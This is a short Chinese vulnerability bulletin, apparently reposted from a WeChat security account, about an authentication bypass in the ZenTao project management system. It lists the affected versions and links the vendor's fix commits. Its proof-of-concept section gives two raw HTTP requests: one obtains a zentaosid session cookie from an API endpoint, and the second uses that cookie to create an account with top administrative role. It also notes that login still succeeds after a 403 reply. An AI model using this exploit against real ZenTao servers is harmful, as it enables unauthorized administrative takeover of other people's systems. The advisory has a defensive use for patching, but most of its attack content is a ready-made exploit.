N/A｜禅道项目管理系统身份认证绕过漏洞（POC）

0x00 前言

禅道是由青岛易软天创网络科技有限公司开发的开源项目管理软件，基于敏捷和CMMI管理理念进行设计，集产品管理、项目管理、质量管理、文档管理、组织管理和事务管理于一体，完整覆盖研发项目管理的核心流程。

0x01 漏洞描述

禅道项目管理系统存在身份认证绕过漏洞，远程攻击者利用该漏洞可以绕过身份认证，调用任意API接口并修改管理员用户的密码，并以管理员用户登录该系统。

0x02 CVE编号

无

0x03 影响版本

v16.x<=禅道< v18.12（开源版）

v6.x<=禅道< v8.12（企业版）

v3.x<=禅道< v4.12（旗舰版）

0x04 漏洞详情

POC：

获取zentaosid的值

GET /zentao/api.php?m=testcase&f=savexmindimport&HTTP_X_REQUESTED_WITH=XMLHttpRequest&productID=upkbbehwgfscwizoglpw&branch=zqbcsfncxlpopmrvchsu HTTP/1.1Host: you-ip

‍

添加用户：

POST /zentao/api.php/v1/users HTTP/1.1Cookie: zentaosid=xxxxxxxxxxHost: you-ip{"account": "zxczxc123", "password": "admin@123", "realname": "zxczxc123", "role": "top", "group": "1"}

返回403也可以登陆。

0x05 参考链接

https://github.com/easysoft/zentaopms

https://github.com/easysoft/zentaopms/commit/d13ba70016ca981b08f27e08fb934bf1f23a4135

https://github.com/easysoft/zentaopms/commit/695055c6b1d2e6a8c944bdbc38308c06820c40ce

原文始发于微信公众号（信安百科）：N/A｜禅道项目管理系统身份认证绕过漏洞（POC）